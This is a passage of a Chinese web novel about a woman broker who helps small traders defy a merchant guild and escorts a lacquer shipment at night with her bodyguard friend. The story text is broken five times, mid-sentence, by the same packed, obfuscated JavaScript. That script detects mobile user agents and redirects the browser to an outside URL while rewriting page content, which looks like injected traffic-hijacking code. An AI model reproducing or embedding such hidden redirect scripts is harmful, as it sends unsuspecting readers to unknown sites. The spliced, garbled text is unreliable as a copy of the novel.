许寻一手捏着眉头，似乎和范清梧想到了一起。 商会，商会，处处都是它的影子。在里面的人丰裕康乐，哪知外面人含辛茹苦，身不由己。 “也许……我还真能帮上你的忙。”范清梧缓缓开口，她忽然想到了法子。 既然商会要画个圈子，那她们就自成一派。既然它不收女子，那就找女坊主的工坊。 桐油的用处太多了，还怕找不到买主？ “你说？”小商看着范清梧，满眼期许。 “你做惯了官坊大工坊的生意，有没有想过，那些小坊主？” “小坊主？” “那些不在商会的。” “有是有，就是太少——” “但你也说了，这商路刚恢复，兴许这些小坊主领不到商会的货，也买不到外来的货。” “但……我的货已经交了。” “许寻？”范清梧叫了一声，朝她眨眨眼睛，“送货可是你的行当？” 许寻这才转过身，叉着腰面对着屋里的两人，有些无奈地说道：“镖师的牌子，也不是这么用的。” 小商不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351391|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道两人在暗示什么，有些无措地站在原地。 许寻一手搭在腰间的佩刀上，大步走来，站在小商面前，她高高的个子被门口的光投下一道影子。 “你要提货吗？”她问。 小商咬着嘴，不由自主抱紧了胸前的斗笠，她没敢看许寻，只是盯着她的鞋子。 “我怕……会得罪商会。” 范清梧看着她，几不可察地叹了口气。 空气越发沉重，许寻安静地等着。 小商往前迈了一步，接着又是几步走过了许寻，走到了门边。 范清梧没再说什么，她看着小商的脚在要跨过门槛时，放了回来，她站在门口，门外的太阳光把她染成了一团影子。 但她随即轻轻转身，阳光就这么呼地一下，照亮了她的脸。 “那……你帮帮我，”她几乎是咬着牙在说，“帮我。” 范清梧这才露出了笑容，她朝许寻点点头，许寻一个转身，身上的甲和刀摩擦着，发出哐哐的响声。 “走吧，”她拉着小商，揽着肩走了出去。 范清梧隐约听见许寻笑嘻嘻地解释：“放心，正经拿，我可抢不来东西。” 许寻的本事范清梧清楚，她只要接下的事，就没有做不到的。能在男人堆里站住脚，全靠功夫硬。 就算不凭拳脚，许寻的脑子也是范清梧见过最机灵的。 这不，她还没等夜里宵禁，许寻就带着小商回来了。 “范老板，晚饭可备好了？”许寻偏着头，嘴角藏着一丝骄傲。 小商也完全变了个人似的，脸蛋红彤彤的。 范清梧知道许寻回来要饱餐一顿，她早就从邻家饭店里打包好了吃食，端上店铺中仅有的那张小桌子，三个人围在桌前，范清梧听她们说着刚才的飒爽事迹。 原来许寻不过是让小商给她签了张文书，日期在前，就这么硬塞着把货提了出来。 小商一改先前的腼腆，竟学着刚才的对话，和许寻一起，给范清梧演起戏来。 “这不是你的货。”小商佯装手里拿着文书，一脸惊讶。 “现在是了。” “现在改，风险你兜。” “我兜。”许寻抱手在胸前，一脸得意。 范清梧夹了口菜，嚼着口齿含糊道：“可惜了，我没亲眼看见，有牌的镖师就是不一样。” 范清梧一转脸，又跟小商说：“我打听到了买主，你大可放心。” “走正价？” “当然。” 小商拍拍心口，松出一口气。 “你叫什么名字？”范清梧问。 “江漪，我叫江漪。” “若是商会以后针对你，告诉我。” “怎么，你还能跟会长告状不成？”许寻手里的筷子不经意敲了下碗。 “你知道，商会一共三个会长，除了那个长期告休，只认识一个也没什么作用。” “你打算再认识另一个？”许寻顺着话问道。 “另一个，”范清梧突然收起笑容，“另一个……大概不太想认识我吧。” 江漪看着两人突然变得严肃，只好乖巧地继续吃饭。 她突然有些羡慕她们这样的默契。 6. 猎手 郑佑卿再次来到范清梧的铺子里，是带着说好的银票来的。 许寻缩在屋里默不作声，她看着范清梧一副东家姿态，接过那叠厚厚的银票，有些过于震惊没收住下巴。 而郑佑卿则像熟客似的，坐到屋内的小桌旁。 她们前几日刚在那给江漪办了骨气宴，让她多去跟小坊主交流交流。 没想江漪看着不善言辞，竟在喝了酒之后口出狂言，要取代自家爹给桐油生意做主。 许寻回着味儿傻乐，这边范清梧已经不客气地收好银票。 “你还不走？”见郑佑卿熟门熟路给自己倒了杯茶，范清梧疑惑。 “看看你的做什么生意。”郑佑卿正襟，端起茶杯啜了一口。 经过半个多月，时价商铺的生意已经走上了正轨。虽然依然没有什么像郑佑卿这样的富商光顾，但在小商们耳里，范清梧的名声已经高于商会的威慑了。 再说，“可能得罪商会”不过是他们臆想。 范清梧从没感受到来自商会的责难，反倒是这些小商自己吓自己。 所以，在确认安全后的他们，便都来找范清梧给自己的交易划划红线。 范清梧没把喝茶的郑佑卿当回事，自顾自接待起客人。 这里来的小商小贩，也不是每个人都认识郑佑卿。有人是范清梧熟客，有人耳闻不远万里赶来。认识郑佑卿的人，只会惊讶地朝他行礼，便径直走向范清梧。 据说范清梧经常不收钱，甚至还帮一些客人结货单。 郑佑卿一直派人盯着范清梧。师爷说这话给他听，他不信。于是就借“还钱”这个机会，直接坐到了店里。 范清梧做起生意来，句子又短又迅，仿佛只看一下就做出了结论。 有人带着货来问买卖时机。 有人带着单子来问是否亏损。 还有人吵着嘴两两而来，范清梧便当起了调停人，给二人写了个谁都不太亏的交易时间。 郑佑卿看着犯迷糊，这范清梧，莫不是有什么神机妙算？ 里屋出了些响动，许寻实在猫不住走了出来。 郑佑卿看她身配长刀，显然有些震惊顿了顿身子，又才移开视线，专心喝起茶来。 许寻走到柜台后，趁着没人问范清梧，郑佑卿怎么还不走。 范清梧刻意让压低的声音传到郑佑卿耳里：“监视我有没有搞什么诡计呗。” 郑佑卿不禁皱起了眉，喝了一大口已经温凉的茶，又拎起茶壶给自己满上了。 郑佑卿发现但凡来这里的人，每个人都很信任范清梧，说一不二。甚至一些离谱的时价，他们也欣然点头。 如若范清梧出错，那必定会有闹事者找上门。 郑佑卿以为这就是许寻出现在这里的作用，但他喝了一肚子茶水，甚至跑了两次厕屋，也没见需要用上许寻的地方。 他不甚理解地看着范清梧，视线停留在她身上，一不留神被她抓了个正着。 两人就这么对视了片刻，范清梧低下头，先移开了视线。 郑佑卿心里突然有点紧，虽然他的胜负欲不至于在这种地方被激起，但她，竟敢先移开视线。 没礼数。郑佑卿端起茶杯，像喝酒似的猛灌了一口。 这时，一个慌张的小商跑进店来，打断了郑佑卿心里的批判。他没听清小商咋咋呼呼说什么，只听见范清梧的算盘声响起，接着，她笃定地说道：“你先别这么低价卖，实在等不了，可以卖给我。” “这个价，当真？”小商道。 “当然，”范清梧低头在纸上沙沙地写着，“等过了这日，你再看看，若是有别的好价，就把会票还给我。货就先放你那里，给我个货票就行。” 小商盯着范清梧写好的两张单子。 一张会票，是范清梧买货的钱，可以自行去钱庄提钱。 一张货票，是承诺货属于范清梧，需要提货便要给她送去。 小商接过范清梧的红泥，搓了搓用力在两张单子上，摁好了自己的红手印。 “范老板，若真如您所说，三天后价钱涨起来，我一定来还您会票。” 范清梧笑着点了点头。 郑佑卿看在眼里，直觉是范清梧在做慈善。 她帮小商保住了时间，小商本要亏本甩卖的货，被她接住了。 范清梧和她的客人之间，有种不容撼动的信任。 郑佑卿忽然心尖一颤。 她所做的买卖中介人，不正是商会的作用？ 但商会怎么可能像她一样，出让自己的利益。 她会不会威胁到商会？ 郑佑卿不由得捏紧了手里的茶杯，继而察觉，又像被烫到似地松开手，茶杯落在桌上，发出铛铛繁密的响声。 范清梧和许寻一齐看了过来。 郑佑卿强装镇定，缓缓起身，走过她们眼前。 “我看明白了。” 他走了。 商会会馆，二层。 郑佑卿几乎是无心之间走到这的，要不是秦策的一声招呼，他都没注意自己走到了二层阁楼窗前。这里能一眼看到范清梧的铺子。 秦策温文尔雅，他捋着长须背着手，见郑佑卿看着楼下那间新开的商铺，便也侧头看去。 “那家新铺子，也渐渐热闹起来了，一个牙行开在会馆对面，是个什么理儿？”秦策闲聊道。 “是啊，接的都是碎单……那间店的老板，之前不是曾卖过你东西吗？”话间，郑佑卿突然想到了之前范清梧煞他的那单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351392|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗布。 秦策撅着胡须，摇了摇头。 果然，说是卖给秦策，也是用来唬他的。 郑佑卿琢磨着范清梧精心设计的局，把他耍得既赔钱又赔心气。 他不由自主啧了一声。 “怎么，郑会长，你不喜欢？” 郑佑卿轻轻点了点头。 没想秦策缓步上前，温声道：“不过是小商小贩们互相报团取暖，撑不了多久。兴许就是借会馆的人流，可惜的是，这些人都是来会馆的。” “我不是怕她抢会馆的生意。” “那便没必要和这些小商计较嘛。”秦策呵呵笑了几声，又貌似关切地问道，“征收的事我听说了，你当时怎么没找我帮忙呢？虽说我是做原料生意的，但这些粗布存货怎么也能找到一二。” 郑佑卿一时有些语塞，他是宁愿受范清梧的气，也不想找秦策帮忙。 他摇摇头，笑着说：“您可能听到讹传了，我的货都在自己这，只是遇到点事拖住，处理好了。” 秦策若有所思地看着他，捋了三次长须，才缓缓说道：“我看着你长大，可别学你爹那执拗劲儿哦，以后有事儿，来找我就行。” “知道了，老会长。”郑佑卿点了点头。 秦策扬手，和郑佑卿道别，边走边和旁人说：“这种铺子，但凡碰上一条新规，连尸体都找不到。” 郑佑卿听在耳里，又不由得看向窗外，天色渐渐变成靛青，灯笼陆续点亮了起来。 范清梧的小铺子，有人出来，却再没人进去。 郑佑卿又站着等了一会儿，才看见范清梧和她那位高大的友人一齐出来，两人一前一后把门板合起来，取下招牌，锁上了铺子门。 郑佑卿看着她闲庭信步般走在梨花树下，飘落的白色花瓣铺满了街道两旁。 休闲自在，和那时封他仓库的狠劲判若两人。 郑佑卿就这么目送着范清梧远去，直到她消失在天色雾气之中。 他猛然回头，寻着秦策的身影，却只看见昏黄的走廊。 郑佑卿这才后知后觉地品出秦策那句话的意味，连同范清梧之前的话，他总算窥见了范清梧秘密的一角。 会馆已经变得冷清，再晚就该到宵禁的时间了。 郑佑卿快步走出会馆，骑上自己的坐骑，往家中奔去。 他知道，该查什么了。 范清梧和秦策之间，还有范清梧的那位好友。 他问了无数次范清梧想做什么，现在，他终于从秦策那温雅的皮囊下，品出了一丝诡异的漠然。 秦策视小商如蝼蚁。 他怎么会不知道呢？ 他只是不知道，范清梧盯着秦策这个人而已。 到底谁才是猎手？ 7. 送货 时价商铺终于迎来了一个穿着讲究的管事，大概是哪个富商的人。和郑佑卿的管事相比，这人小眼睛笑起来歪着嘴，一开始就让范清梧不太舒服。 但范清梧还是堆出营业笑容，等待着这位管事提需求。 他拉开凳子，跷脚坐到范清梧案台前，从袖里拿出一卷绑好的契书，慢条斯理地放到案台上。 “听闻这个牙行没有不能解决的单子，范小姐能看看我这单吗？” 范清梧心中不悦，但依然准备伸手打开契书。 “诶，”管事拦住了她，“您看了可就不能不接，我先说价吧。” 管事说了个正常给牙行商人的价，范清梧沉思两秒，收回了手。 “怎么，嫌低？我东家可是和秦会长合作的大商号，您要是做好了，以后了就不愁生意了。说不准，东家在会长面前美言几句，还能引荐您加入商会哩。” “哪个秦会长？”范清梧明知故问。 下一秒，她唰地打开了契书，管事瞪着眼睛，还没反应过来，范清梧已经细细看了起来。 “锁价订单？你们连自己人也签？” 管事不明白范清梧在惊讶什么，他挠了挠头，按自己的节奏解释了起来：“签太多了，这单期限快到，我们实在是没空跑，您来跑。” “啊？”范清梧没搞明白，“店外招牌写了，我不碰货，只看单。” “我知道，但您不是接受了我的条件？”管事指了指范清梧手里的契书，“您已经看了。” 范清梧皱起眉，放下契书。 她还没被人这么挖过坑呢。 故意找茬？ 还是秦策发现她了，派人来打探？ 不，这绝无可能。 她走出案台，给自己斟了杯酒，轻轻抿了一口。 “您继续说。” “哪有你这样主动跳火坑的？”来晚的许寻没见着这位管事，只能听范清梧再讲一遍。 “我不跳的话，也许下个轮到的人，会走上季杭的路。” 许寻一听止住了念叨，端端坐下，认真地看起范清梧展开的契书和地图。 她们要从这单交易里找到一条活路。 管事明摆着要她们冒名顶替。 只给了一车货，放在城郊仓库中。履约完成后，工坊结账的钱一并由范清梧收着。 意思就是，范清梧要在在期限内把货送到工坊。 工坊锁了订单价，若是前些天，还能有三分利。 但这商号拖得太久，突然发现利薄，便推出来找到范清梧解决。 它不想损耗自己的名声，也不想拿出过多的钱。 至于为什么不找镖局，这单的条件，路难走货娇贵，镖局定定不会接。 再者，管事明里暗里也说明白了，这单本是要商号亲自送，而找了镖局，就坏了规矩。 只有范清梧这种不在商会体系里的灰区商人，才能不记名地接下这笔单子。 范清梧姑且算了事成后拿到的钱，扣掉车马费，要赶着时间才能平本。 那管事也是知道，才会拿商会来诱惑范清梧。 虽然范清梧接下，并不是因为那句诱惑，她只是不想再看到季杭那种事再度发生。 工坊在一山之隔的石坪村。 许寻找了几条路线，还是觉得时间紧。 她干脆拿走地图，一个人窝在里屋冥思苦想起来，时不时传出些咒骂的句子，从商号到秦策骂了个遍，还顺带捎上范清梧。 江漪接了范清梧的传信，下午才赶到。 看见铺子开着门却挂着打烊的牌子，屋里两人一脸愁容。轻手轻脚地走进去，大气不敢出一声。 她悄悄走到范清梧身后，见她没察觉她的到来，犹豫半晌，一出声把范清梧吓了一跳。 “江……江漪，你来了。” “嗯……你想问什么？” “生漆，我们要送一单生漆去石坪村，许寻说这东西特别娇贵，你帮我看看。” 生漆不能久存，当季采，当季用。 路途颠簸，会导致生漆分层，报废。 日晒变质，雨雾会侵蚀密封。 所以封桶是最为重要的一环。 再者就是一条好路和好天气。 听完江漪的讲解，范清梧赶忙拉着她快马来到城郊仓库。 江漪检查完封桶，范清梧才松了口气。 接下来就看许寻的脑子了。 好在这批货小，只要两辆马车。 也难怪这商号看不上，硬要把单子推出来。 范清梧成功，商号得名。 范清梧失败，对它也无关紧要。 但对范清梧来说，做成这单是进入商会体系的第一步。 是，她完全可以接下这单，等着它废掉，她有足够的钱支撑她违约赔偿。 但她想接近秦策。 而这个秦策下游的商号，自己送上门来，终于不用再苦苦等下去。 这就是她在会馆门前，开铺子的目的之一。 她原以为能从郑佑卿那里找到一条近路，却没想，她说粗布卖给了秦策时，郑佑卿直接去找的，是她本人。 那次，她便知道，郑佑卿大概和秦策不是一个立场上的人。 也就放过了他。 范清梧跟江漪道了谢，便骑着马送她回家，又紧赶慢赶地回到铺子，天色已经暗了半分。 “快宵禁了，先回家？”范清梧脱下罩袍，问里屋还在挑灯苦战的许寻。 许寻抬起手，止住了范清梧的问话。 范清梧只好领会了她的意思，从柜子里抱出两床被褥。 收拾好后，拿了根小凳子，坐到许寻身旁。 “封桶江漪看过了，没问题，商号的车马也是很稳的那种。”范清梧说道，递给许寻一张热乎乎的面饼，“还多给了一成损耗的货，还算有良心。” 她看到许寻跟前一张草纸画得乱七八糟。 许寻接过饼，肚子闻香叫了几声，她咬了一口，指着一些画在山地间杂乱的折线说道：“这条路险，但是有山贼，快；这是官路，路好，人多且慢，因为有官货出没，山贼怕抢错了主，一般不会出来；这条村道，常是村民赶路，路一般，可能有各种状况。 “除了那条险路，都会要路引。” 范清梧当然不希望许寻以身犯险，她本来每挣一单都是拿命搏的，好不容易休息，还得跟着她冒险。 “走官路，路引我找那管事要，大概几天？” “前几日在会馆听说，因为征收刚结束人特别多，路窄可能会堵。正常两天的路程，我们得预计三天。” “我们是小马车，应该能钻一钻，就是生漆怕颠簸，还是走好路……但是时间不太够，”范清梧扳着手指算到，“如果明天我要到路引，后天出发，三天后就超过了，若是路上两天，时间才刚好。” 许寻偏着脑袋嗯了半晌，转头盯着范清梧道：“走夜路。” 范清梧眼珠一转，笑着竖起大拇指：“在宵禁前出发，避开白天的高峰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351393|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期，你是这个意思吧。” 许寻一脸默契的笑，点了点头，“就是晚上，安不安全不太清楚。刚才的话是以白天为前提。” “多请一位镖师？” 许寻摇摇头：“有时候镖师多了，反而不好，此地无银三百两，懂吧。” “但你一个人，两辆车顾不过来，我不怕花钱。” 范清梧站起身，咬了一口饼在屋内来回走着。 屋外天色已经漆黑，屋内烛光摇动着，好像计时一般，偶尔有风吹过，发出噗噗的声音。 “乔装打扮一下，我们就装成普通的送货村民，你明天再去找个熟识，我去要路引。”范清梧吃下最后一口，看着许寻抹了抹嘴巴。 “……行，也没别的办法了。” “就这样，明天傍晚前出发，能省下一天时间。” “听你的。” 就这样，两人商定了办法，各自收拾完睡在了摆在屋中央的地铺里。 其实范清梧还有一道保险，没告诉许寻，但她得明天打听清楚了才能用。 如果运气好，她们能跟上城外歇脚的商队，这样跟着它们掩护着走，总不怕落得个寸草不留的下场。 她琢磨着，听着睡着的许寻呼吸声渐渐变得平缓，翻了下身。 紧紧闭上眼睛，开始专心入睡。 第二天，范清梧顶着个黑眼圈把许寻踹醒，两人神游般地梳洗完。站在店门口互相道别，许寻指着范清梧的憔悴像笑了好一阵。 范清梧没精打采地扬扬手，两人什么也没说，便转身走上各自的道路。 范清梧在这间忙碌的商号里找到了给她契书的刘管事，说明来意后，管事为了自己能成事，也只好放下手中的事亲自去给范清梧跑路引。 接着，范清梧便从商会打听到驿站，对她们晚上可能会遇到的同路人也算略晓一二。 范清梧在城郊仓库等着许寻和管事的路引，闲来无事她又学着江漪的样子，检查了马车和车上木桶。 她坐在仓库门口的大石头上，看着朦胧的白日慢慢溶化在天际线上，心里盘算着，若是赶不上宵禁，那明天出发，还有什么别的办法。 两道疾驰的马影扬出一卷尘土，范清梧看见许寻披着斗篷，身后还跟着一个人。他们在范清梧面前停下，马呼呼打了一下响鼻。 “路引要到了吗？”许寻翻身下马，没等范清梧回答便带着同伴往仓库里走。 范清梧依然坐在石头上，盼着那张路引。 终于，这刘管事还算是能成事的人。 他吐着白气，低头在马上把路引交给范清梧：“出城回城都会用到，别搞丢了，回来进不了城，我可没办法弄你进来。” “放心。” “能赶上？”管事看了看天，转头见许寻驾着马车出来。 范清梧跳上车，扶着马车和管事平视道：“我既然接了您的单，当然会回来找你结帐。” 管事眯着眼，歪嘴笑了笑，一提缰绳，驱着马走了。 许寻探头和身后另一辆车上的同僚打了个招呼，大喝一声，便驾着马车朝城门奔去。 “我以为你会待在城里。” 许寻说道，她用斗篷把自己周身遮得严实，只露出一双眼睛。范清梧也有样学样，穿上了自己准备的那件。 “我不会让你一个人冒险。” 许寻一听，哈哈大笑起来：“小清梧还想保护我哩。” 范清梧靠在马车上，松下浑身紧绷的劲，轻轻说道：“说不一定哦。” 8. 在路上 一行人顺利赶在宵禁前出了城，城外驿站正如范清梧料想的一样，已经住满了歇脚的商队。 似乎只有她们打算继续赶路。 “我打听了有夜行的商队，我们快点应该能追上。” “好。”许寻嘴里似乎嚼着东西，扬了下缰绳，马车稍微加快了速度。 “你在吃什么？” 许寻听完朝范清梧哈了一口气。 扑鼻而来的辛辣。 “姜？”范清梧震惊。 “提神啊，要来一片吗？” 范清梧连连摆手，原来古代人靠这玩意儿提神。 远处黑漆漆的一片，全靠马车前灯笼那一点微弱的橙光，许寻专心看着路，直到穿出一片密林，终于看见下方蜿蜒的队伍，犹如一条火龙盘踞在山谷，缓缓游动着。 范清梧看着这样的场景，一时分不清她究竟身处什么时代。 她裹了裹衣服，冷风吹得她脸都冻僵了。 “要不你睡会儿，跟住这支商队，就没什么危险了。” 范清梧发出拒绝的声音，往许寻身边靠了靠，“你说，他们会不会不让我们跟着？” “别太近就行，你想不出这主意，我也会这么做。”马车在黑夜中吱吱响着。 “许师就是专业。”范清梧赞美道。 许寻哼了一声，骄傲得不行。 “后面那人，怎么称呼？” “程墨，是个哑巴。” 范清梧稍稍提起了精神，朝许寻转了转头。 “哈哈，两个被排挤的镖师成了搭档，你想说这个是吧。”许寻依旧含着姜片，声音糊在风里，“追上了。” 范清梧往后探出头，程墨瞧见了，朝她举起手，范清梧点点头，他便放了下来。范清梧缩着脖子收回身子，看着前方渐近的商队。 很安静，只有马车哐哐声和马儿们的喘息。 “这支商队还不错，你看，后面都有两队护卫，前面也一定有。” “和你们镖局有什么区别。” “护卫直接拿钱，我嘛，如果不是接你的私单，镖局是要抽掉我一些报酬的。” 范清梧直点头，这不就是第三方劳务派遣吗。 “那你想当护卫吗？” “不想，”许寻很干脆地摇头，“如果可以，我并不想干这种过命的行当。” “那……想干什么？” “嗯……”许寻冥思苦想着，突然一拍大腿，“我想当武行师父，收徒，教人。” 这一动作，马儿跑了起来，车子一阵颠簸，许寻赶忙拉住缰绳。 范清梧担心地往后看了看货，又才靠着背板呼出一口气。 她突然有了个想法。 “寻，让我试试，”范清梧闭上眼睛，“看我以后，给你开家武行。” 许寻又是一阵欢笑：“行啊，我就等着范老板你，聘我当开门师父的那一天。” 范清梧不知不觉睡着了。 车马摇晃的节奏让她睡得比被褥里还香，迷迷糊糊，她感觉自己脑袋磕在木板上，又被许寻扶了回来。但还是抵不住沉沉睡意，做了个好长好长的梦。 梦里她开了家武行，里面老老少少各样人都有，许寻穿着大师父才穿的那种灰袍子，揣着手在院子里教大家拳脚。 范清梧在屋檐下，对许寻的装模作样笑得合不拢嘴，这一笑，就把自己拉回了现实。 马车停下了。 范清梧眨眨眼睛，脸上还挂着笑意。 “怎么了？”她问。 “醒了？梦里挺开心啊。”许寻回道，“前面不知道出什么事，堵住了，程墨已经去看了。” 范清梧支起身子，才看到本是程墨驾着的马车，已经停在了她们并排的位置。 这条泥路的宽度刚好够两辆马车。 前面有些嘈杂的声音，辨不出是什么。 不一会儿，程墨从前面的灯笼下钻了出来，他走到许寻车下，跟她打着手势，许寻一边点头，一边回着些手势。 范清梧才发现，自己好像是第一次，看到许寻工作的样子。她专心地看着这两人沟通，一声不吭。待到程墨跳回马车，她才满眼期待地盯着许寻。 “两个队伍堵住了，互不相让，我去看看，让程墨在这守着。” “我也要去。” “那你跟着吧。” “……你还会哑语？” “跟程墨搭档久了，自然就会了点。” 两人穿过这支陌生的商队，停住的马车上，有人打着瞌睡，有人互相闲聊，还有人随意捡了些石子儿，聚在一起玩游戏。 没有人多看她们一眼。 范清梧渐渐听清了嘈杂的源头，有人在交汇处吵架。 她跟在许寻身后，一路看着这些车马的货物，摸出腰间的挂着的一小袋酒，仰头喝了一口。 等到许寻停下，范清梧的胃里已经暖暖的了。 “……这怎么看，也是你们让到下面方便些。” “但我们赶时间啊，你们就让半个道，怎么就那么犟！” “我这人多，货杂，万一磕磕碰碰——” “我们的货也精贵！” “那就谁也别走！” 范清梧撇起嘴，她可没时间被这两位爷堵在路上。 她撇下许寻，问了这边商队的车夫，又看了那边商队的货。两边车夫见她是个女娃，也就大大方方的让她看了。倒不像那两位吵架的爷，神神秘秘地也不说自己到底运的什么货。 范清梧见他们吵歇，便上前碰了碰对面的领队，“您说您赶时间，是要在多久出货？” “明天，去向林城。” “巧了，我们刚从向林城来，您的货其实晚个两三天，兴许价钱还能高点。” 这位中年男人挺着肚子，借着四周马车上的灯笼，毫不客气地上下打量完范清梧，才道：“你是什么人，我为什么要信你？” 这倒把范清梧问住了，她可没自信自己声名远扬，只好高声问了句：“这里可有人知道向林城的范清梧的？” 半晌过去，没人回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351394|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应。 范清梧耸耸肩，“可惜我名声不够大，等您到了城里，也许会听说我。我说的价，不会错。” “不会错？”男人叉着腰，“我看你和他，都只是想让我让路罢了。” “爷爷爷，”许寻赶忙给他梯子下，“您甭理她，听我说完。” 许寻边说边冲范清梧眨眼睛，范清梧明白，这事得交给她，便作罢了争吵，转头退到许寻身后。 许寻拆了个随身囊袋，递到男人手中，“路途遥远，想必这东西剩的不多了，这袋盐您拿着，就让我们半个道怎么样？我给她作证，您要是能及时赶到，也最好按她说的时间卖，价钱最好。” 男人接过盐，一个大大的月牙形袋子，足够整个队伍的人，继续吃个五六天了。 他眼里的怒气，明显淡了些。 他看看这边的领队，又看看范清梧，接着点点头，对着许寻笑道：“还是姑娘你懂行。” 他转身大喊一声，整个队伍便齐齐地往路边草丛里，进去了半个车位。 许寻拉着范清梧走了，这边领队朝着她微微颔首致谢。 回到马车上，待前方队伍行进起来，她们也再次一前一后地跟了上去。 “你经常遇到这种事吗？”范清梧问道。 许寻点点头：“在路上，食物是最好用的贿赂。” “学到了。” 范清梧抬头看了看天，夜还深，也不知道几时了。 她们穿过这支停下的队伍，继续往前，这条山谷走过，就要开始爬山。 后半夜，不会比前半夜更好过。 山贼会藏在山里，山里会出现莫名的气候，总之，各种状况许寻都一一说给范清梧听。 也许还会遇到猛兽，但好在她们跟着大队伍，除非是成群的迁徙，不然它们也不敢冒然靠近。 “你不是说，官路上不会遇到山贼？” “人不要命起来，那可谁都说不准。” 范清梧默了一会儿，看着马车走进山林，慢慢倾斜着往上。 她在许寻面前摊开一只手：“给我一片。” 生姜片的味道如此怪异。 范清梧从没这样吃过姜，她嚼了一口，便把它含在舌根下，怪异的辛辣味一阵阵冲刷着鼻腔。 她之前以为许寻过的都是那种江湖生活，却没想到会是这种充满灼烧滋味的路途。 她看着好友拉着缰绳，正轻哼的小调突然停下了。 许寻对她眨了眨眼睛，又借着弯道悄悄往后看了看。 才往范清梧这边靠近了些，耳语道：“接下来我说的话，你别害怕。” 范清梧一下绷起了肩膀。 “有人跟着我们。” “会不会是和我们一样，蹭商队护卫的人？”范清梧低声回道。 “不，只有一个人，骑着马，身形看着还挺高大的。” “强盗？” “一个人的话，不太像。” “那会是？” “总之，我们小心点为好。” 9. 灰商 范清梧自从知道后面有人跟着，便打起了十八分精神，每每马车转弯向上，她都悄咪咪地往后下方瞄。 那人单枪匹马，藏在夜色中，身影和树影溶在了一起，偶尔月光穿过云层，范清梧才能辩出他那轻巧的挪动。 马蹄轻点，声音几不可闻。 不知道程墨发现了没。 范清梧有些担心。 在绕过了几个盘山弯后，终于走上了条笔直的山脊线。夜风很大，范清梧裹了裹斗篷，盯着前方商队支起的星点灯火，再次变得有些昏昏欲睡。 她一个磕碰醒来，忽然发现自己的马车已经置身于商队之间。 商队慢了下来，她们的车马渐渐混在其中，仿佛成为他们的一员。 许寻眯着眼睛，往四周观察。范清梧趁着往后打望程墨的机会，再次寻找了下那个神秘人的身影。 他没跟进商队。 范清梧松了口气。 商队的人似乎有意围着她们，范清梧纳闷，难道是因为刚才帮助调节堵车，商队也发现后面的威胁，在主动保护她们？ “寻，你不觉得奇怪吗？”范清梧低声问许寻。 “嗯，我知道。”许寻早就发现了不对劲，只是将计就计，想躲开后面的人视线。 这支队伍夜行经验十分老道，秩序严整，护卫克制。 什么样的商队会这样？ 长途商队养着自己的私护，这很常见。 但这些护卫…… 许寻是被他们不知不觉逼到这个位置的，她察觉后，心里大喊不妙。 护卫的位置改变了，队伍收得更紧。 “清梧，我们似乎，被他们夹住了。”许寻镇定地说道。 范清梧沉思片刻，理解了许寻的意思：“你是说，我们被他们挟持了？” “……可以这么理解。” 许寻望着前方，轻轻拉住了手中的缰绳。因为前方护卫挡道，她们只能随着这支队伍的速度行进。 整个队伍没了闲聊声，安静得有些吓人。 范清梧迷迷糊糊瞪着眼睛，注视着这些车上的货价。 因为刚才看过，即使盖着篷布，她也依然能看到价格。 未来发生了变化。 原本正常的价格在她们察觉这诡异气氛的一瞬间，忽然变成了乱码。 范清梧第一次遇到这种情况。 正在她百思不得其解的时候，许寻轻轻碰了碰她，轻声道：“前面有人过来了。” 不是刚才吵架的那位领队。 这个人身着布衣，看上去就是个马夫模样，但他从骑马的姿态和周围人反应看来，他才是这支商队的真正话事人。 他面上和善，微笑着等范清梧的马车和他并上后，随着她们行进。 “多亏刚才姑娘们协调，我们才没被堵在路上，”他开启了谈话，“前面有临时检查点，不知能否请二位帮个忙？” 许寻发出一阵恍悟的声音，用身体挡住了准备开口的范清梧，问道：“你们是灰商吧？” 首领一挑眉，似乎有些惊讶，他沉思片刻，终于承认道：“怎么看出来的？” 